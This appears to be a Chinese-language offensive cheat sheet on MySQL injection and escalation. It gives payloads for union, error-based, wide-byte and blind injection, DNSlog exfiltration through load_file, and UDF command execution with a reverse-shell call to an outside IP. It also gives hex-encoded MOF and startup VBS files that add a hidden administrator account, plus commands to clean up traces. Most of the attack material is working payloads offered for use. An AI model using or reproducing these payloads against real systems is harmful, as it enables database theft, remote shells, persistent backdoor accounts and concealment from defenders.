MYSQL注入

Sql 注入介绍

sql注入就是指Web应用程序在对用户输入的数据未进行合法性的判断,并且前端传入后端的参数是攻击者可控的,并且参数可以带入数据库进行执行。攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。

Mysql介绍

MySQL 是一款安全、跨平台、高效的,并与 PHP、Java 等主流编程语言紧密结合的数据库系统。该数据库系统是由瑞典的 MySQL AB 公司开发、发布并支持,由 MySQL 的初始开发人员 David Axmark 和 Michael Monty Widenius 于 1995 年建立的。目前 MySQL 被广泛地应用在 Internet 上的中小型网站中。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,使得很多公司都采用 MySQL 数据库以降低成本。MySQL 数据库可以称得上是目前运行速度最快的 SQL 语言数据库之一。除了具有许多其他数据库所不具备的功能外,MySQL 数据库还是一种完全免费的产品,用户可以直接通过网络下载 MySQL 数据库,而不必支付任何费用。

MySQL 基础知识

  • 字符串截取函数
1
2
3
4
5
left(str,index)  //从左边第index开始截取
right(str,index) //从右边第index开始截取
substring(str,index) //从左边index开始截取
substr(str,index,len) //截取str,index开始,截取len的长度
mid(str,index,ken) //截取str 从index开始,截取len的长度
  • 字符串比较
1
2
strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
find_in_set(str,strlist) //如果相同则返回1不同则返回0
  • 字符串连接函数
1
2
3
concat(str1,str2) //将字符串首尾相连
concat_ws(separator,str1,str2) //将字符串用指定连接符连接
group_concat()//
  • 一些绕过注入的罕见函数
1
2
instr(str1,substr) //从子字符串中返回子串第一次出现的位置
lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
  • 运算符

    • 算术运算符: + - * /
    • 比较运算符: = <> != > <
      1
      2
      3
      4
      (1)between //select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
      (2)in //select '123' in ('12') => 0
      (3)like(模糊匹配) //select '12345' like '12%' => true
      (4)regexp 或 rlike(正则匹配)//select '123455' regexp '^12' => true
    • 逻辑运算符:
      1
      2
      3
      4
      not或! 非  
      AND 逻辑与 == &&
      OR 逻辑或 == ||
      XOR 逻辑异或 == ^
    • 位运算符:
      1
      2
      3
      4
      5
      6
      & 按位与
      | 按位或
      ^ 按位异或
      ! 取反
      << 左移
      >>右移
    • 注释符:
      1
      2
      3
      # //单行注释符,url记得编码为%23
      /**/
      --+
  • 常用函数

    • 延时函数:
      1
      2
      sleep()
      benchmark(1000000,sha(1))
    • 编码函数:
      1
      hex() ascii()
    • 文件函数:
      1
      2
      1.load_file  //读取文件
      2.outfile //写入文件
  • 一些构造语句的知识

    • 条件语句
      1
      2
      if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3
      select case when (条件) then 代码1 else 代码 2 end
    • information_schema 结构
      1
      2
      3
      4
      5
      information_schema.tables:
      查询表名:table_name 对应的数据库名: table_schema
      information_schema.columns:
      查询列名:column_name 对应的表名:table_schemamysql盲注语句一般形式
      查询结果 + 比较运算符 + 猜测值
    • mysql 报错注入:构造报错语句 + 查询结果
    • mysql 联合注入:构造联合语句 + 查询结果
    • mysql 盲注:查询结果 + 比较运算符 + 猜测值
    • mysql空白字符:
      1
      2
      3
      4
      %20 %09 %0a %0b %0c %0d %a0 /**/ tab
      %a0 这个不会被php的\s进行匹配
      /*!*/ 内敛注释
      # 这个也可以用来做分隔 挺有意思
    • tips:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    函数名和括号直接可以插入特殊字符 ex

    concat/**/()

    information_schema/**/./**/TABLES

    information_schema%0a.%0aTABLES

    {identifier expr}
    select {x 1} from {x test} limit 1;

联合查询

union是用于合并两个sql查询结果的语句,要使用union必须有相同的列数 、必须有两条以上的select语句组成、列的数据类型必须兼容,兼容的含义是必须数据库可以隐含转换他们的类型。

  • 联合查询注入的主要步骤为:

    • 1.判断是否存在可疑的注入点(数字型或字符型)。
      *数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      方法一: 单引号法: '
      方法二: 逻辑法
      and 1=1
      and 1=2
      1' and '1'='1
      1' and '1'='2
      方法三:运算法
      -1
      -0
    • 2.猜解表名

      1
      2
      3
      4
      5
      6
      7
      8
      常见敏感表名

      admin
      user admin_userinfo
      system
      vipuser
      a_admin
      xxx_admin
    • 3.猜字段数:order by

    • 4.猜解字段名

      1
      2
      3
      4
      5
      6
      敏感字段名:

      username
      password
      admin_usernmae
      admin_password
    • 5.获取数据

      1
      id = 1 union select 1,2,3,'''''
1
2
3
4
5
6
7
8
9
10
11
12
13
14
当mysql 版本小于4.0 的时候 ,是不支持 union seletc联合查询的 
当mysql 版本大于5.0时,有个默认数据库information_schema,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库
列举几个常见的查询函数

1.version()- 数据库版本
2.user() -数据库用户
3. database() - 当前所在数据库
4. current_user() - 当前用户名
5. system_user() - 系统用户名
6. session_user() -连接到数据库的用户名
7. @@basedir - 数据库的安装目录
8. @@datadir - 数据库文件存放目录
9. SCHEMATA- 记录当前数据库服务器所有数据库名称
10.TABALES- 记录了当前数据库服务器所有表的信息

MYSQL报错注入

常见payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1.floor()
and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2.updatexml() //5.1.5
and 1=(updatexml(1,concat(0x3a,(select user())),1))

3.extractvalue() //5.1.5
and extractvalue(1,concat(0x5c,(select user())))

4.exp() //5.5.5版本之后可以使用
select host from user where user = 'root' and Exp(~(select * from (select version())a));

5.name_const //支持老版本
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

6.geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错
select multipoint((select * from (select * from (select * from (select version())a)b)c));

宽字节注入

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入,例如说PHP的编码为 UTF-8而MySql的编码设置为了SET NAMES ‘gbk’ 或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。
这里要说明一小点的是:
SET NAMES ‘x’语句与这三个语句等价:

1
2
3
mysql>SET character_set_client =x;
mysql>SET character_set_results =x;
mysql>SET character_set_connection =x;

也就是说你设置了 SET NAMES ‘x’ 时就等于同时执行了上面的3条语句

实际上宽字节注入就是PHP发送请求到MySql时使用了语句SET NAMES ‘gbk’ 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。

  • 宽字节注入原理
    • 原理可参考:https://xz.aliyun.com/t/1719
    • 在我们正常情况下使用addslashes函数或是开启PHPGPC(注:在php5.4已上已给删除,并且需要说明特别说明一点,GPC无法过滤$_SERVER提交的参数)时过滤GET、POST、COOKIE、REQUSET 提交的参数时,黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的例子:
      1
      2
      3
      单引号(')= (\')
      双引号(") = (\")
      反斜杠(\) = (\\)
    • MYSQL client链接编码:假如这个网站有宽字节注入那么我们提交:
      1
      http://127.0.0.1/unicodeSqlTest?id=%df%27
      这时,假如我们现在使用的是addslashes来过滤,那么就会发生如下的转换过程:
      1
      %df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運'
      前端输入%df%27时首先经过上面addslashes函数转义变成了%df%5c%27(%5c是反斜杠),之后在数据库查询前因为设置了GBK编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c转换成了汉字運,而单引号就逃逸了出来,从而造成了注入漏洞。
    • MYSQL iconv函数 mb_convert_encoding函数:
      借用先知: $id =iconv(‘GBK’,’UTF-8’, $id)
      %df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27
      其实就是 utf8 -> gbk ->utf-8 低位的%5c 也就是反斜杠干掉了转义单引号的反斜杠。
    • Big5编码导致的宽字节注入:
      1
      2
      猜测代码: iconv('utf-8','BIG5',$_GET['id'])
      payload构造同上: 功' -> addsalshes -> 功\' -> iconv -> %A5%5C%5C%27->¥\' 逃逸单引号%E8%B1%B9'

布尔盲注

代码存在SQL注入漏洞,但页面不会回显数据,也不会回显错误信息,只返回”Right”与”Wrong”,这里可以构造语句,来判断数据库语句的正确性,通过页面的“真”和“假”来识别我们的判断是否正确,“真”和“假”可以从返回页面,数据包长度,返回码等信息判断

方法 说明
left()函数 left(database(),1)>’s’ database()显示数据库名称,left(a,b)从左侧截取a的前b位
regexp select user() regex ‘^r’ 正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式
like select user() like ‘ro%’ 与regexp相似,使用like进行匹配
substr()函数 ascii()函数 ascii(substr((select database()),1,1))=98 substr(a,b,c)从b位置开始,截取字符串a的长度,ascii()将某个字符转换为ascii值
ord()函数 mid()函数 ord(mid((select user()),1,1))=114 mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转换为ascii值

时间盲注

代码存在sql注入漏洞,但页面即不会回显数据,也不会回显错误信息,语句执行也不提示真假,不能通过页面的内容来进行判断,这里可通过构造语句,通过页面响应的时长,来判断信息,即时间盲注。

语法:

1
2
if(left(user(),1)='a',0,sleep(3))    #(user(),1)='a'处替换sql语句
if(sascii(substr(database(),1,1))>115,0,sleep(5))%23 #(database(),1,1)和115处为替换sql语句

DNSlog SQL盲注

在mysql中load_file 会带dns查询请求
具体可以参考 mysql带外攻击 out of band 安全客有这篇文章
首先查看变量确定权限
show variables like ‘%secure%’

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

在mysql 5.5.34版本默认为空可以加载文件 但是之后版本为NULL会禁用函数但是
可以通过mysql的配置文件my.ini添加行进行配置
unc路径 网络共享文件方式 \xq17.com\tet这样的路径
用4个\是因为转义 本质是:
最好进行加密处理 防止特殊字符导致失败 如下
select load_file(concat(0x5c5c5c5c,version(),0x2E66326362386131382E646E736C6F672E6C696E6B2F2F616263));
坑点:之前一直用bugscan的dnslog 用
select load_file(‘\\‘,version(),’.dnslog地址’) 发现一直收不到信息
注意一般分配给我们的是二级域名所以我们要有个点 把返回信息放在三级域名那里 后来用16进制加密之后就发现可以了 可能是传输的时候出现了@之类什么奇怪的字符 导致了传输失败
总结:

1.对数据能加密尽量加密

2.dns解析 能很好解决盲打盲注的不可知的缺陷

3.缺点是:限制比较多

参考:https://www.t00ls.net/thread-44273-1-1.html

工具:https://xz.aliyun.com/t/2359、https://github.com/ADOOO/DnslogSqlinj

sqlmap:https://www.cnblogs.com/backlion/p/8984121.html

其他利用:https://www.freebuf.com/column/184587.html

MYSQL 命令执行

  • UDF提权

    UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。

    Secure_file_priv:secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。通过执行SHOW VARIABLES LIKE “secure_file_priv”;查看secure-file-priv的状态。

    1、当secure_file_priv的值为null ,表示限制mysql不允许导入导出。

    2、当secure_file_priv的值为/tmp/ ,表示限制mysql的导入导出只能发生在/tmp/目录下。

    3、当secure_file_priv的值没有具体值时,表示不对mysql的导入导出做限制。

    • UDF提权条件:
      • mysql < 5.0,导出路径随意。
      • 5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)。
      • mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
      • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
      • 拥有可以将udf.dll写入相应目录的权限。
    • 实战步骤:
      • 查看 secure_file_priv 的值
        1
        show global variables like 'secure%';
      • 查看系统架构以及plugin目录
        1
        2
        show variables like '%compile%';             #查看主机版本及架构
        show variables like 'plugin%'; #查看 plugin 目录
      • Sqlmap目录下找到对应的dll文件:Sqlmap将原本的dll文件进行了编码处理,我们需要通过脚本进行解密获得dll文件。(脚本位置/usr/share/sqlmap/extra/cloak/) 执行python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_进行dll_文件的解码,获得dll文件。
      • 通过查询语句将dll上传到目标服务器上。路径具体参考udf提权条件(这里演示5.0 <= mysql < 5.1)。执行语句select 0xcode into dumpfile ‘C:\Windows\System32\cooltige.dll’。(写入方法也有select unhex(十六进制)、select char(77,90,144…))。
      • 将udf.dll 文件写入数据库:
        • 1、远程加载:
          1
          2
          load_file() 函数支持远程加载,配合 dumpfile 实现写入lib 目录下一定要有 plugin 文件夹否则报错
          select load_file('C:\Python27\sqlmap\data\udf\mysql\windows\64') into dumpfile "C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll";
        • 2、本地写入:
          1
          2
          3
          4
          create table temp(data longblob);
          insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
          update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
          select data from temp into dumpfile "C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll";
      • 通过dll文件创建函数。CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll’。
      • 创建成功后就可以直接执行命令:select sys_eval(‘whoami’);
      • 删除创建的函数DROP FUNCTION sys_eval;
  • 反弹端口提权
    实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    cmdshell        # 执行cmd
    downloader # 下载者,到网上下载指定文件并保存到指定目录
    open3389 # 通用开3389终端服务,可指定端口(不改端口无需重启)
    backshell # 反弹Shell
    ProcessView # 枚举系统进程
    KillProcess # 终止指定进程
    regread # 读注册表
    regwrite # 写注册表
    shut # 关机,注销,重启
    about # 说明与帮助函数

反弹端口提权udf链接:https://github.com/Geekby/langouster_udf
导入 dll 动态链接库(这里偷懒就忽略了),然后创建自定义函数:

1
2
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
select backshell("10.20.24.244", 2333);
  • MOF 提权
    MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

    • 上传 mof 文件执行命令,mof 脚本的内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

MySQL 写文件的特性将这个 MOF 文件导入到 C:/Windows/system32/wbem/mof/ 目录下,依然采用上述编码的方式:

1
mysql > select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";

执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下

痕迹清理:因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt

启动项提权

这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。

  • 启动项路径

  • Windows Server 2003 的启动项路径:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    中文系统
    C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
    C:\Documents and Settings\All Users\「开始」菜单\程序\启动

    英文系统
    C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
    C:\Documents and Settings\All Users\Start Menu\Programs\Startup

    开关机项 需要自己建立对应文件夹
    C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
    C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown
  • Windows Server 2008 的启动项路径:

    1
    2
    C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
  • 既然知道路径的话就往启动项路径里面写入脚本吧,脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 MSF 或者 CS 这方面还是比较灵活的。下面是一个执行基础命令的 VB 脚本:

    1
    2
    3
    Set WshShell=WScript.CreateObject("WScript.Shell")
    WshShell.Run "net user hacker P@ssw0rd /add", 0
    WshShell.Run "net localgroup administrators hacker /add", 0
  • MySQL 写入启动项

    1
    2
    mysql > select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";
    写入成功的时候就等待系统用户重新登录,登录成功的话,我们的自定义脚本也就会被执行。